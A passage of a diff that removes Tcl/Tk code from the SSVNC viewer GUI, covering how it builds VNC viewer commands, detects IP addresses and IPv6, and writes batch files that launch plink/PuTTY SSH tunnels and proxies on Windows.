- if {$var == "smb_mount_list"} {
- set pct 1
- }
- if {$var == "port_knocking_list"} {
- set pct 1
- }
- if {$pct} {
- regsub -all {%%%} $val "\n" val
- }
- set defs($var) $val
- }
- }
- }
- close $fh
- }
- }
-
- global ssh_only ts_only
- if {$ssh_only || $ts_only} {
- set defs(use_ssl) 0
- set defs(use_ssh) 1
- set defs(use_sshssl) 0
- } else {
- set defs(use_ssl) 1
- set defs(use_ssh) 0
- set defs(use_sshssl) 0
- }
- set defs(disable_all_encryption) 0
-
- foreach var [array names defs] {
- set $var $defs($var)
- }
-
- global vncauth_passwd unixpw_passwd
- set vncauth_passwd ""
- set unixpw_passwd ""
-
- if {$ssh_only || $ts_only} {
- ssl_ssh_adjust ssh
- } else {
- ssl_ssh_adjust ssl
- }
- listen_adjust
- unixpw_adjust
-
- global last_load
- set last_load ""
-}
-
-proc windows_listening_message {n} {
- global did_listening_message
-
- global extra_cmd
- set extra_cmd ""
- set cmd [get_cmd $n]
-
- if {$did_listening_message < 2} {
- incr did_listening_message
- global listening_name
-
- set ln $listening_name
- if {$ln == ""} {
- set ln "this-computer:$n"
- }
-
- set msg "
- About to start the Listening VNC Viewer (Reverse Connection).
-
- The VNC Viewer command to be run is:
-
- $cmd
-
- After the Viewer starts listening, the VNC server should
- then Reverse connect to:
-
- $ln
-
- When the VNC Connection has ended **YOU MUST MANUALLY STOP**
- the Listening VNC Viewer.
-
- To stop the Listening Viewer: right click on the VNC Icon in
- the tray and select 'Close listening daemon' (or similar).
-
- ONLY AFTER THAT will you return to the SSVNC GUI.
-
- Click OK now to start the Listening VNC Viewer.$extra_cmd
-"
- global use_ssh use_sshssl
- if {$use_ssh || $use_sshssl} {
- set msg "${msg} NOTE: You will probably also need to kill the SSH in the\n terminal via Ctrl-C"
- }
-
- global help_font is_windows system_button_face
- toplev .wll
- global wll_done
-
- set wll_done 0
-
- eval text .wll.t -width 64 -height 22 $help_font
- button .wll.d -text "OK" -command {destroy .wll; set wll_done 1}
- pack .wll.t .wll.d -side top -fill x
-
- apply_bg .wll.t
-
- center_win .wll
- wm resizable .wll 1 0
-
- wm title .wll "SSL/SSH Viewer: Listening VNC Info"
-
- .wll.t insert end $msg
-
- vwait wll_done
- }
-}
-
-proc get_cmd {n} {
- global use_alpha use_grab use_x11cursor use_nobell use_ssh
- global use_sshssl use_viewonly use_fullscreen use_bgr233
- global use_nojpeg use_raise_on_beep use_compresslevel use_quality
- global use_send_clipboard use_send_always change_vncviewer
- global change_vncviewer_path vncviewer_realvnc4 use_listen
- global disable_ssl_workarounds disable_ssl_workarounds_type env
-
- set cmd "vncviewer"
- if {$change_vncviewer && $change_vncviewer_path != ""} {
- set cmd [string trim $change_vncviewer_path]
- regsub -all {\\} $cmd {/} cmd
- if {[regexp {[ \t]} $cmd]} {
- if {[regexp -nocase {\.exe$} $cmd]} {
- if {! [regexp {["']} $cmd]} { #"
- # hmmm, not following instructions, are they?
- set cmd "\"$cmd\""
- }
- }
- }
- }
- if {$use_viewonly} {
- if {$vncviewer_realvnc4} {
- append cmd " viewonly=1"
- } else {
- append cmd " /viewonly"
- }
- }
- if {$use_fullscreen} {
- if {$vncviewer_realvnc4} {
- append cmd " fullscreen=1"
- } else {
- append cmd " /fullscreen"
- }
- }
- if {$use_bgr233} {
- if {$vncviewer_realvnc4} {
- append cmd " lowcolourlevel=1"
- } else {
- append cmd " /8bit"
- }
- }
- if {$use_nojpeg} {
- if {! $vncviewer_realvnc4} {
- append cmd " /nojpeg"
- }
- }
- if {$use_raise_on_beep} {
- if {! $vncviewer_realvnc4} {
- append cmd " /belldeiconify"
- }
- }
- if {$use_compresslevel != "" && $use_compresslevel != "default"} {
- if {$vncviewer_realvnc4} {
- append cmd " zliblevel=$use_compresslevel"
- } else {
- append cmd " /compresslevel $use_compresslevel"
- }
- }
- if {$use_quality != "" && $use_quality != "default"} {
- if {! $vncviewer_realvnc4} {
- append cmd " /quality $use_quality"
- }
- }
-
- global extra_cmd
- set extra_cmd ""
- if {$use_listen} {
- if {$vncviewer_realvnc4} {
- append cmd " listen=1"
- } else {
- append cmd " /listen"
- }
- set nn $n
- if {$nn < 100} {
- set nn [expr "$nn + 5500"]
- }
- global direct_connect_reverse_host_orig is_win9x
- if {![info exists direct_connect_reverse_host_orig]} {
- set direct_connect_reverse_host_orig ""
- }
- if {$direct_connect_reverse_host_orig != "" && !$is_win9x} {
- set nn2 [expr $nn + 15]
- set h0 $direct_connect_reverse_host_orig
- global win_localhost
- set extra_cmd "\n\nrelay6.exe $nn $win_localhost $nn2 /b:$h0"
- set nn $nn2
- }
-
- append cmd " $nn"
-
- } else {
- if [regexp {^[0-9][0-9]*$} $n] {
- global win_localhost
- append cmd " $win_localhost:$n"
- } else {
- append cmd " $n"
- }
- }
- return $cmd
-}
-
-proc do_viewer_windows {n} {
- global use_listen env
-
- set cmd [get_cmd $n]
-
- set ipv6_pid2 ""
- if {$use_listen} {
- set nn $n
- if {$nn < 100} {
- set nn [expr "$nn + 5500"]
- }
- global direct_connect_reverse_host_orig is_win9x
- if {![info exists direct_connect_reverse_host_orig]} {
- set direct_connect_reverse_host_orig ""
- }
- if {$direct_connect_reverse_host_orig != "" && !$is_win9x} {
- set nn2 [expr $nn + 15]
- set h0 $direct_connect_reverse_host_orig
- global win_localhost
- set ipv6_pid2 [exec relay6.exe $nn $win_localhost $nn2 /b:$h0 &]
- set nn $nn2
- }
- }
-
- if [info exists env(SSVNC_EXTRA_SLEEP)] {
- set t $env(SSVNC_EXTRA_SLEEP)
- mesg "sleeping an extra $t seconds..."
- set t [expr "$t * 1000"]
- after $t
- }
- global extra_sleep
- if {$extra_sleep != ""} {
- set t $extra_sleep
- mesg "sleeping an extra $t seconds..."
- set t [expr "$t * 1000"]
- after $t
- }
-
- mesg $cmd
- set emess ""
- set rc [catch {eval exec $cmd} emess]
-
- if {$ipv6_pid2 != ""} {
- winkill $ipv6_pid2
- }
-
- if {$rc != 0} {
- raise .
- tk_messageBox -type ok -icon error -message $emess -title "Error: $cmd"
- }
-}
-
-proc get_netstat {} {
- set ns ""
- catch {set ns [exec netstat -an]}
- return $ns
-}
-
-proc get_ipconfig {} {
- global is_win9x
- set ip ""
- if {! $is_win9x} {
- catch {set ip [exec ipconfig]}
- return $ip
- }
-
- set file "ip"
- append file [pid]
- append file ".txt"
-
- # VF
- catch {[exec winipcfg /Batch $file]}
-
- if [file exists $file] {
- set fh [open $file "r"]
- while {[gets $fh line] > -1} {
- append ip "$line\n"
- }
- close $fh
- catch {file delete $file}
- }
- return $ip
-}
-
-proc read_file {file} {
- set str ""
- if [file exists $file] {
- set fh ""
- catch {set fh [open $file "r"]}
- if {$fh != ""} {
- while {[gets $fh line] > -1} {
- append str "$line\n"
- }
- close $fh
- }
- }
- return $str
-}
-
-proc guess_nat_ip {} {
- global save_nat last_save_nat
- set s ""
-
- if {! [info exists save_nat]} {
- set save_nat ""
- set last_save_nat 0
- }
- if {$save_nat != ""} {
- set now [clock seconds]
- if {$now < $last_save_nat + 45} {
- return $save_nat
- }
- }
- set s ""
- catch {set s [socket "www.whatismyip.com" 80]}
- set ip "unknown"
- if {$s != ""} {
- fconfigure $s -buffering none
- #puts $s "GET / HTTP/1.1"
- puts $s "GET /automation/n09230945.asp HTTP/1.1"
- puts $s "Host: www.whatismyip.com"
- puts $s "Connection: close"
- puts $s ""
- flush $s
- set on 0
- while { [gets $s line] > -1 } {
- if {! $on && [regexp {<HEAD>} $line]} {set on 1}
- if {! $on && [regexp {<HTML>} $line]} {set on 1}
- if {! $on && [regexp {<TITLE>} $line]} {set on 1}
- if {! $on && [regexp {^[0-9][0-9]*\.[0-9]} $line]} {set on 1}
- if {! $on} {
- continue;
- }
- if [regexp {([0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*)} $line ip] {
- break
- }
- }
- close $s
- }
- if {$ip != "unknown"} {
- set save_nat $ip
- set last_save_nat [clock seconds]
- }
- return $ip
-}
-
-proc check_for_ipv6 {} {
- global is_windows have_ipv6
- if {$have_ipv6 != ""} {
- return
- }
- if {! $is_windows} {
- set out ""
- catch {set out [exec netstat -an]}
- if [regexp {tcp6} $out] {
- set have_ipv6 1
- } elseif [regexp {udp6} $out] {
- set have_ipv6 1
- } elseif [regexp {:::} $out] {
- set have_ipv6 1
- } elseif [regexp {::1} $out] {
- set have_ipv6 1
- } elseif [regexp {TCP: IPv6.*LISTEN} $out] {
- set have_ipv6 1
- } else {
- set have_ipv6 0
- }
- } else {
- set out [get_ipconfig]
- set out [string trim $out]
- if {$out == ""} {
- catch {set out [exec ping6 -n 1 -w 2000 ::1]}
- if [regexp {Reply from.*bytes} $out] {
- if [regexp {Received = 1} $out] {
- set have_ipv6 1
- return
- }
- }
- set have_ipv6 0
- return
- }
- foreach line [split $out "\n\r"] {
- if {[regexp -nocase {IP Address.*:[ \t]*[a-f0-9]*:[a-f0-9]*:} $line]} {
- set have_ipv6 1
- return
- }
- }
- set have_ipv6 0
- }
-}
-proc guess_ip {} {
- global is_windows
- if {! $is_windows} {
- set out ""
- set out [get_hostname]
- if {$out != ""} {
- set hout ""
- catch {set hout [exec host $out]}
- if {$hout != ""} {
- if [regexp {has address ([.0-9][.0-9]*)} $hout mvar ip] {
- set ip [string trim $ip]
- return $ip
- }
- }
- }
- return ""
- } else {
- set out [get_ipconfig]
- set out [string trim $out]
- if {$out == ""} {
- return ""
- }
- foreach line [split $out "\n\r"] {
- if {[regexp -nocase {IP Address.*:[ \t]*([.0-9][.0-9]*)} $line mvar ip]} {
- set ip [string trim $ip]
- if [regexp {^[.0]*$} $ip] {
- continue
- }
- if [regexp {127\.0\.0\.1} $ip] {
- continue
- }
- if {$ip != ""} {
- return $ip
- }
- }
- }
- foreach line [split $out "\n\r"] {
- if {[regexp -nocase {IP Address.*:[ \t]*([:a-f0-9][%:a-f0-9]*)} $line mvar ip]} {
- set ip [string trim $ip]
- if [regexp {^[.0]*$} $ip] {
- continue
- }
- if [regexp {127\.0\.0\.1} $ip] {
- continue
- }
- if {$ip != ""} {
- return $ip
- }
- }
- }
- }
-}
-
-proc bat_sleep {fh} {
- global env
- if [info exists env(SSVNC_BAT_SLEEP)] {
- puts $fh "@echo ."
- puts $fh "@echo -----"
- puts $fh "@echo Debug: BAT SLEEP for $env(SSVNC_BAT_SLEEP) seconds ..."
- puts $fh "@ping -n $env(SSVNC_BAT_SLEEP) -w 1000 0.0.0.1 > NUL"
- puts $fh "@echo BAT SLEEP done."
- }
-}
-
-proc windows_start_sound_daemon {file} {
- global env
- global use_sound sound_daemon_local_cmd sound_daemon_local_start
-
- # VF
- regsub {\.bat} $file "snd.bat" file2
- set fh2 [open $file2 "w"]
-
- puts $fh2 $sound_daemon_local_cmd
- bat_sleep $fh2
- puts $fh2 "del $file2"
- close $fh2
-
- mesg "Starting SOUND daemon..."
- if [info exists env(COMSPEC)] {
- if [info exists env(SSVNC_BAT_SLEEP)] {
- exec $env(COMSPEC) /c start $env(COMSPEC) /c $file2 &
- } else {
- exec $env(COMSPEC) /c $file2 &
- }
- } else {
- if [info exists env(SSVNC_BAT_SLEEP)] {
- exec cmd.exe /c start cmd.exe /c $file2 &
- } else {
- exec cmd.exe /c $file2 &
- }
- }
- after 1500
-}
-
-proc winkill {pid} {
- global is_win9x
-
- if {$pid == ""} {
- return
- }
- if {! $is_win9x} {
- catch {exec tskill.exe $pid}
- after 100
- catch {exec taskkill.exe /PID $pid}
- after 100
- }
- catch {exec w98/kill.exe /f $pid}
-}
-
-proc windows_stop_sound_daemon {} {
- global use_sound sound_daemon_local_cmd sound_daemon_local_start
-
- set cmd [string trim $sound_daemon_local_cmd]
-
- regsub {[ \t].*$} $cmd "" cmd
- regsub {^.*\\} $cmd "" cmd
- regsub {^.*/} $cmd "" cmd
-
- if {$cmd == ""} {
- return
- }
-
- set output [get_task_list]
-
- foreach line [split $output "\n\r"] {
- if [regexp "$cmd" $line] {
- if [regexp {(-?[0-9][0-9]*)} $line m p] {
- set pids($p) $line
- }
- }
- }
-
- set count 0
- foreach pid [array names pids] {
- mesg "Stopping SOUND pid: $pid"
- winkill $pid
- if {$count == 0} {
- after 1200
- } else {
- after 500
- }
- incr count
- }
-}
-
-proc contag {} {
- global concount
- if {! [info exists concount]} {
- set concount 0
- }
- incr concount
- set str [pid]
- set str "-$str-$concount"
-}
-
-proc make_plink {} {
- toplev .plink
- #wm geometry .plink +700+500
- wm geometry .plink -40-40
- wm title .plink "plink SSH status?"
- set wd 37
- label .plink.l1 -anchor w -text "Login via plink/ssh to the remote server" -width $wd
- label .plink.l2 -anchor w -text "(supply username and password as needed)." -width $wd
- label .plink.l3 -anchor w -text "" -width $wd
- label .plink.l4 -anchor w -text "After ssh is set up, AND if the connection" -width $wd
- label .plink.l5 -anchor w -text "success is not autodetected, please click" -width $wd
- label .plink.l6 -anchor w -text "one of these buttons:" -width $wd
- global plink_status
- button .plink.fail -text "Failed" -command {destroy .plink; set plink_status no}
- button .plink.ok -text "Success" -command {destroy .plink; set plink_status yes}
- pack .plink.l1 .plink.l2 .plink.l3 .plink.l4 .plink.l5 .plink.l6 .plink.fail .plink.ok -side top -fill x
-
- update
-}
-
-proc ssh_split {str} {
- regsub { .*$} $str "" str
- if {! [regexp {:[0-9][0-9]*$} $str]} {
- append str ":22"
- }
- regsub {:[0-9][0-9]*$} $str "" ssh_host
- regsub {^.*:} $str "" ssh_port
- if {$ssh_port == ""} {
- set ssh_port 22
- }
- if [regexp {@} $ssh_host] {
- regsub {@.*$} $ssh_host "" ssh_user
- regsub {^.*@} $ssh_host "" ssh_host
- } else {
- set ssh_user ""
- }
- return [list $ssh_user $ssh_host $ssh_port]
-}
-
-proc check_debug_netstat {port str wn} {
- global debug_netstat
- if {! [info exists debug_netstat]} {
- return
- }
- if {$debug_netstat == "0" || $debug_netstat == ""} {
- return
- }
- mesg "DBG: $wn"
-
- toplev .dbns
-
- set h 35
- if [small_height] {
- set h 28
- }
- scroll_text_dismiss .dbns.f 82 $h
- center_win .dbns
- .dbns.f.t insert end "LOOKING FOR PORT: $port\n\n$str"
- jiggle_text .dbns.f.t
- update
- after 1000
-}
-
-proc launch_windows_ssh {hp file n} {
- global is_win9x env
- global use_sshssl use_ssh putty_pw putty_args
- global port_knocking_list
- global use_listen listening_name
- global disable_ssl_workarounds disable_ssl_workarounds_type
- global ts_only
- global debug_netstat
-
- set hpnew [get_ssh_hp $hp]
- set proxy [get_ssh_proxy $hp]
- set sshcmd [get_ssh_cmd $hp]
-
- global win_localhost
-
- set vnc_host $win_localhost
- set vnc_disp $hpnew
- regsub {^.*:} $vnc_disp "" vnc_disp
-
- regsub {\.bat} $file ".flg" flag
-
- if {$ts_only} {
- regsub {:0$} $hpnew "" hpnew
- if {$proxy == ""} {
- if {[regexp {^(.*):([0-9][0-9]*)$} $hpnew mv sshhst sshpt]} {
- set proxy "$sshhst:$sshpt"
- set hpnew $win_localhost
- }
- } else {
- if {![regexp {,} $proxy]} {
- if {$hpnew != $win_localhost} {
- set proxy "$proxy,$hpnew"
- set hpnew $win_localhost
- }
- }
- }
- } elseif {![regexp {^-?[0-9][0-9]*$} $vnc_disp]} {
- if {[regexp {cmd=SHELL} $hp]} {
- ;
- } elseif {[regexp {cmd=PUTTY} $hp]} {
- ;
- } else {
- # XXX add :0 instead?
- if {1} {
- set vnc_disp "vnc_disp:0"
- mesg "Added :0 to $vnc_disp"
- } else {
- mesg "Bad vncdisp, missing :0 ?, $vnc_disp"
- bell
- return 0
- }
- }
- }
-
- if {$use_listen} {
- set vnc_port 5500
- } else {
- set vnc_port 5900
- }
-
- if {$ts_only || [regexp {PORT= .*x11vnc} $sshcmd] || [regexp {P= .*x11vnc} $sshcmd]} {
- regsub {PORT= [ ]*} $sshcmd "" sshcmd
- regsub {P= [ ]*} $sshcmd "" sshcmd
- set vnc_port [expr "8100 + int(4000 * rand())"]
- set sshcmd "$sshcmd -rfbport $vnc_port"
- } elseif {[regexp {^-[0-9][0-9]*$} $vnc_disp]} {
- set vnc_port [expr "- $vnc_disp"]
- } elseif {![regexp {^[0-9][0-9]*$} $vnc_disp]} {
- ;
- } elseif {$vnc_disp < 200} {
- if {$use_listen} {
- set vnc_port [expr $vnc_disp + 5500]
- } else {
- set vnc_port [expr $vnc_disp + 5900]
- }
- } else {
- set vnc_port $vnc_disp
- }
-
- global ssh_ipv6_pid
- set ssh_ipv6_pid ""
-
- set ssh_port 22
- set ssh_host [host_part $hpnew]
-
- set double_ssh ""
- set p_port ""
- if {$proxy != ""} {
- if [regexp -nocase {(http|https|socks|socks4|socks5|repeater)://} $proxy] {
- set pproxy ""
- set sproxy1 ""
- set sproxy_rest ""
- set sproxy1_host ""
- set sproxy1_user ""
- set sproxy1_port ""
- foreach part [split $proxy ","] {
- if {[regexp {^[ ]*$} $part]} {
- continue
- }
- if [regexp -nocase {^(http|https|socks|socks4|socks5|repeater)://} $part] {
- if {$pproxy == ""} {
- set pproxy $part
- } else {
- set pproxy "$pproxy,$part"
- }
- } else {
- if {$sproxy1 == ""} {
- set sproxy1 $part
- } else {
- if {$sproxy_rest == ""} {
- set sproxy_rest $part
- } else {
- set sproxy_rest "$sproxy_rest,$part"
- }
- }
- }
- }
-
-#mesg "pproxy: $pproxy"; after 2000
-#mesg "sproxy1: $sproxy1"; after 2000
-#mesg "sproxy_rest: $sproxy_rest"; after 2000
-#mesg "ssh_host: $ssh_host"; after 2000
-#mesg "ssh_port: $ssh_port"; after 2000
-
- if {$sproxy1 != ""} {
- regsub {:[0-9][0-9]*$} $sproxy1 "" sproxy1_host
- regsub {^.*@} $sproxy1_host "" sproxy1_host
- regsub {@.*$} $sproxy1 "" sproxy1_user
- regsub {^.*:} $sproxy1 "" sproxy1_port
- } else {
- regsub {:[0-9][0-9]*$} $ssh_host "" sproxy1_host
- regsub {^.*@} $sproxy1_host "" sproxy1_host
- regsub {@.*$} $ssh_host "" sproxy1_user
- regsub {^.*:} $ssh_host "" sproxy1_port
- }
- if {![regexp {^[0-9][0-9]*$} $sproxy1_port]} {
- set sproxy1_port 22
- }
- if {$sproxy1_user != ""} {
- set sproxy1_user "$sproxy1_user@"
- }
-
-#mesg "sproxy1_host: $sproxy1_host"; after 2000
-#mesg "sproxy1_user: $sproxy1_user"; after 2000
-#mesg "sproxy1_port: $sproxy1_port"; after 2000
-
- set port2 ""
- if [regexp -- {-([0-9][0-9]*)} [file tail $file] mv dport] {
- set port2 [expr 21000 + $dport]
- } else {
- set port2 [rand_port]
- }
-
- global have_ipv6
- if {$have_ipv6} {
- set res [ipv6_proxy $pproxy "" ""]
- set pproxy [lindex $res 0]
- set ssh_ipv6_pid [lindex $res 3]
- }
-
- set env(SSVNC_PROXY) $pproxy
- set env(SSVNC_LISTEN) $port2
- set env(SSVNC_DEST) "$sproxy1_host:$sproxy1_port"
-
- mesg "Starting Proxy TCP helper on port $port2 ..."
- after 300
- # ssh br case:
- set proxy_pid [exec "connect_br.exe" &]
-
- catch { unset env(SSVNC_PROXY) }
- catch { unset env(SSVNC_LISTEN) }
- catch { unset env(SSVNC_DEST) }
-
- if {$sproxy1 == ""} {
- set proxy "$win_localhost:$port2"
- if [regexp {^(.*)@} $ssh_host mv u] {
- set proxy "$u@$proxy"
- }
- } else {
- set proxy "${sproxy1_user}$win_localhost:$port2"
- }
- if {$sproxy_rest != ""} {
- set proxy "$proxy,$sproxy_rest"
- }
- mesg "Set proxy to: $proxy"
- after 300
- }
- if [regexp {,} $proxy] {
- if {$is_win9x} {
- mesg "Double proxy does not work on Win9x"
- bell
- winkill $ssh_ipv6_pid
- set ssh_ipv6_pid ""
- return 0
- }
- # user1@gateway:port1,user2@workstation:port2
- set proxy1 ""
- set proxy2 ""
- set s [split $proxy ","]
- set proxy1 [lindex $s 0]
- set proxy2 [lindex $s 1]
-
- set p_port ""
- if [regexp -- {-([0-9][0-9]*)} [file tail $file] mv dport] {
- set p_port [expr 4000 + $dport]
- } else {
- set p_port [expr 3000 + 1000 * rand()]
- set p_port [expr round($p_port)]
- }
-
- set s [ssh_split $proxy1]
- set ssh_user1 [lindex $s 0]
- set ssh_host1 [lindex $s 1]
- set ssh_port1 [lindex $s 2]
-
- set s [ssh_split $proxy2]
- set ssh_user2 [lindex $s 0]
- set ssh_host2 [lindex $s 1]
- set ssh_port2 [lindex $s 2]
-
- if {! [regexp {^[0-9][0-9]*$} $ssh_port1]} {
- set ssh_port1 22
- }
- if {! [regexp {^[0-9][0-9]*$} $ssh_port2]} {
- set ssh_port2 22
- }
-
- set u1 ""
- if {$ssh_user1 != ""} {
- set u1 "${ssh_user1}@"
- }
- set u2 ""
- if {$ssh_user2 != ""} {
- set u2 "${ssh_user2}@"
- }
-
- set double_ssh "-L $p_port:$ssh_host2:$ssh_port2 -P $ssh_port1 $u1$ssh_host1"
- set proxy_use "${u2}$win_localhost:$p_port"
-
- } else {
- # user1@gateway:port1
- set proxy_use $proxy
- }
-
- set ssh_host [host_part $proxy_use]
-
- set ssh_port [port_part $proxy_use]
- if {! [regexp {^[0-9][0-9]*$} $ssh_port]} {
- set ssh_port 22
- }
-
- set vnc_host [host_part $hpnew]
- if {$vnc_host == ""} {
- set vnc_host $win_localhost
- }
- }
-
- if {![regexp {^[^ ][^ ]*@} $ssh_host]} {
- mesg "You must supply a username: user@host..."
- bell
- winkill $ssh_ipv6_pid
- set ssh_ipv6_pid ""
- return 0
- }
-
- set verb "-v"
-
- set pwd ""
- if {$is_win9x} {
- set pwd [pwd]
- regsub -all {/} $pwd "\\" pwd
- }
- if {! [regexp {^[0-9][0-9]*$} $n]} {
- set n 0
- }
-
- if {$use_listen} {
- set use [expr $n + 5500]
- } else {
- set use [expr $n + 5900]
- }
-
- set_smb_mounts
-
- global use_smbmnt use_sound sound_daemon_kill
- set do_pre 0
- if {$use_smbmnt} {
- set do_pre 1
- } elseif {$use_sound && $sound_daemon_kill} {
- set do_pre 1
- }
-
- global skip_pre
- if {$skip_pre} {
- set do_pre 0
- set skip_pre 0
- }
-
- set pw ""
- if {$putty_pw != ""} {
- if {! [regexp {"} $putty_pw]} { #"
- set pw " -pw \"$putty_pw\""
- }
- }
-
- set tag [contag]
-
- set file_double ""
-
- set file_pre ""
- set file_pre_cmd ""
- if {$do_pre} {
- set setup_cmds [ugly_setup_scripts pre $tag]
-
- if {$setup_cmds != ""} {
- # VF
- regsub {\.bat} $file "pre.cmd" file_pre_cmd
- set fh [open $file_pre_cmd "w"]
- puts $fh "$setup_cmds sleep 10; "
- bat_sleep $fh
- close $fh
-
- # VF
- regsub {\.bat} $file "pre.bat" file_pre
- set fh [open $file_pre "w"]
- set plink_str "plink.exe -ssh -C -P $ssh_port -m $file_pre_cmd $verb -t"
- if {$putty_args != ""} {
- append plink_str " $putty_args"
- }
-
- global smb_redir_0
- if {$smb_redir_0 != ""} {
- append plink_str " $smb_redir_0"
- }
-
- if [regexp {%} $ssh_host] {
- set uath ""
- regsub -all {%SPACE} $ssh_host " " uath
- regsub -all {%TAB} $uath " " uath
- append plink_str "$pw \"$uath\""
- } else {
- append plink_str "$pw $ssh_host"
- }
-
- if {$pw != ""} {
- puts $fh "echo off"
- }
- puts $fh $plink_str
-
- bat_sleep $fh
- if {![info exists env(SSVNC_NO_DELETE)]} {
- if {$file_pre_cmd != ""} {
- puts $fh "del $file_pre_cmd"
- }
- puts $fh "del $file_pre"
- }
- close $fh
- }
- }
-
- if {$is_win9x} {
- set sleep 35
- } else {
- set sleep 20
- }
- if {$use_listen} {
- set sleep 1800
- }
-
- set setup_cmds [ugly_setup_scripts post $tag]
-
- set do_shell 0
- if {$sshcmd == "SHELL"} {
- set setup_cmds ""
- set sshcmd {$SHELL}
- set do_shell 1
- } elseif {$sshcmd == "PUTTY"} {
- set setup_cmds ""
- set do_shell 1
- }
-
- if {$sshcmd != "SHELL" && [regexp -nocase {x11vnc} $sshcmd]} {
- global use_cups cups_x11vnc cups_remote_port
- global cups_remote_smb_port
- global use_sound sound_daemon_x11vnc sound_daemon_remote_port
- global ts_only
- if {$ts_only} {
- set cups_x11vnc 1
- set sound_daemon_x11vnc 1
- }
- if {$use_cups && $cups_x11vnc && $cups_remote_port != ""} {
- set crp $cups_remote_port
- if {$ts_only} {
- set cups_remote_port [rand_port]
- set crp "DAEMON-$cups_remote_port"
- }
- set sshcmd "$sshcmd -env FD_CUPS=$crp"
- }
- if {$use_cups && $cups_x11vnc && $cups_remote_smb_port != ""} {
- set csp $cups_remote_smb_port
- if {$ts_only} {
- set cups_remote_smb_port [rand_port]
- set csp "DAEMON-$cups_remote_smb_port"
- }
- set sshcmd "$sshcmd -env FD_SMB=$csp"
- }
- if {$use_sound && $sound_daemon_x11vnc && $sound_daemon_remote_port != ""} {
- set srp $sound_daemon_remote_port
- if {$ts_only} {
- set sound_daemon_remote_port [rand_port]
- set srp "DAEMON-$sound_daemon_remote_port"
- }
- set sshcmd "$sshcmd -env FD_ESD=$srp"
- }
- }
-
- set file_cmd ""
- if {$setup_cmds != ""} {
- # VF
- regsub {\.bat} $file ".cmd" file_cmd
- set fh_cmd [open $file_cmd "w"]
-
- set str $setup_cmds
- if {$sshcmd != ""} {
- append str " $sshcmd; "
- } else {
- append str " sleep $sleep; "
- }
- puts $fh_cmd $str
- bat_sleep $fh_cmd
- close $fh_cmd
-
- set sshcmd $setup_cmds
- }
-
- if {$sshcmd == ""} {
- set pcmd "echo; echo SSH connected OK.; echo If this state is not autodetected,; echo Go Click the Success button."
- set sshcmd "$pcmd; sleep $sleep"
- }
-
- global use_sound sound_daemon_local_cmd sound_daemon_local_start
- if {! $do_shell && ! $is_win9x && $use_sound && $sound_daemon_local_start && $sound_daemon_local_cmd != ""} {
- windows_start_sound_daemon $file
- }
-
- # VF
- set fh [open $file "w"]
- if {$is_win9x} {
- puts $fh "cd $pwd"
- if {$file_pre != ""} {
- puts $fh "echo Press Ctrl-C --HERE-- when done with the Pre-Command shell work."
- puts $fh "start /w command.com /c $file_pre"
- }
- }
-
- global use_cups use_smbmnt
- set extra_redirs ""
- if {$use_cups} {
- append extra_redirs [get_cups_redir]
- }
- if {$use_sound} {
- append extra_redirs [get_sound_redir]
- }
- global additional_port_redirs
- if {$additional_port_redirs} {
- append extra_redirs [get_additional_redir]
- }
-
- if {$vnc_host == ""} {
- set vnc_host $win_localhost
- }
- regsub {^.*@} $vnc_host "" vnc_host
-
- set redir "-L $use:$vnc_host:$vnc_port"
- if {$use_listen} {
- set redir "-R $vnc_port:$vnc_host:$use"
- set listening_name "localhost:$vnc_port (on remote SSH side)"
- }
-
- set plink_str "plink.exe -ssh -P $ssh_port $verb $redir $extra_redirs -t"
- if {$putty_args != ""} {
- append plink_str " $putty_args"
- }
- if {$extra_redirs != ""} {
- regsub {exe} $plink_str "exe -C" plink_str
- } else {
- # hmm we used to have it off... why?
- # ssh typing response?
- regsub {exe} $plink_str "exe -C" plink_str
- }
- set uath $ssh_host
- if [regexp {%} $uath] {
- regsub -all {%SPACE} $uath " " uath
- regsub -all {%TAB} $uath " " uath
- set uath "\"$uath\""
- }
- if {$do_shell} {
- if {$sshcmd == "PUTTY"} {
- if [regexp {^".*@} $uath] { #"
- regsub {@} $uath {" "} uath
- set uath "-l $uath"
- }
- if {$is_win9x} {
- set plink_str "putty.exe -ssh -C -P $ssh_port $extra_redirs $putty_args -t $pw $uath"
- } else {
- set plink_str "start \"putty $ssh_host\" putty.exe -ssh -C -P $ssh_port $extra_redirs $putty_args -t $pw $uath"
- if [regexp {FINISH} $port_knocking_list] {
- regsub {start} $plink_str "start /wait" plink_str
- }
- }
- } else {
- set plink_str "plink.exe -ssh -C -P $ssh_port $extra_redirs $putty_args -t $pw $uath"
- append plink_str { "$SHELL"}
- }
- } elseif {$file_cmd != ""} {
- append plink_str " -m $file_cmd$pw $uath"
- } else {
- append plink_str "$pw $uath \"$sshcmd\""
- }
-
- if {$pw != ""} {
- puts $fh "echo off"
- }
- if {$ts_only && [regexp {sudo } $sshcmd]} {
- puts $fh "echo \" \""
- puts $fh "echo \"Doing Initial SSH with sudo id to prime sudo...\""
- puts $fh "echo \" \""
- puts $fh "plink.exe -ssh $putty_args -t $uath \"sudo id; tty\""
- puts $fh "echo \" \""
- }
- puts $fh $plink_str
- bat_sleep $fh
- puts $fh "del $flag"
- if {![info exists env(SSVNC_NO_DELETE)]} {
- if {$file_cmd != ""} {
- puts $fh "del $file_cmd"
- }
- puts $fh "del $file"
- }
- close $fh
-
- catch {destroy .o}
- catch {destroy .oa}
- catch {destroy .os}
-
- if { ![do_port_knock $ssh_host start]} {
- if {![info exists env(SSVNC_NO_DELETE)]} {
- catch {file delete $file}
- if {$file_cmd != ""} {
- catch {file delete $file_cmd}
- }
- if {$file_pre != ""} {
- catch {file delete $file_pre}
- }
- }
- winkill $ssh_ipv6_pid
- set ssh_ipv6_pid ""
- return 0
- }
-
- if {$double_ssh != ""} {
- set plink_str_double_ssh "plink.exe -ssh $putty_args -t $pw $double_ssh \"echo sleep 60 ...; sleep 60; echo done.\""
-
- # VF
- regsub {\.bat} $file "dob.bat" file_double
- set fhdouble [open $file_double "w"]
- puts $fhdouble $plink_str_double_ssh
- bat_sleep $fhdouble
- puts $fhdouble "del $flag"
- if {![info exists env(SSVNC_NO_DELETE)]} {
- puts $fhdouble "del $file_double"
- }
- close $fhdouble
-
- set com "cmd.exe"
- if [info exists env(COMSPEC)] {
- set com $env(COMSPEC)
- }
-
- set ff [open $flag "w"]
- puts $ff "flag"
- close $ff
-
- global env
- if [info exists env(SSVNC_BAT_SLEEP)] {
- exec $com /c start $com /c $file_double &
- } else {
- exec $com /c $file_double &
- }
-
- set waited 0
- set gotit 0
- while {$waited < 30000} {
- after 500
